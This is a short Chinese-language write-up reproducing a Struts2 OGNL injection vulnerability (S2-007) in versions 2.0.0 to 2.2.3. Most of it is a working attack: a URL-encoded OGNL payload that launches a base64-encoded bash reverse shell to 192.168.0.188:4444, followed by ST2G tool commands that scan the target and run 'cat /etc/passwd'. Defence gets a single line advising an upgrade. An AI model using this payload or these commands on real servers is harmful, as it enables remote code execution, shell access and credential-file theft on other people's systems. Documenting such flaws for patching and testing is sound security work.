概述
产生原因
发生类型验证错误时,后端灰浆表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。
影响
2.0.0 2.2.3
环境搭建
1 |
|
复现
反弹shell
payload
1 | name=123&email=123&age='+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjAuMTg4LzQ0NDQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}').getInputStream()))+%2b+' |
反弹成功

攻防
利用
扫描漏洞
1 | ./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --mode scan |
命令执行
1 | ./ST2G --url http://192.168.0.188:8081/user.action --data "name=123&email=123&age=fuckit" --vn 007 --mode exec --cmd "cat /etc/passwd" |
防御
升级struts2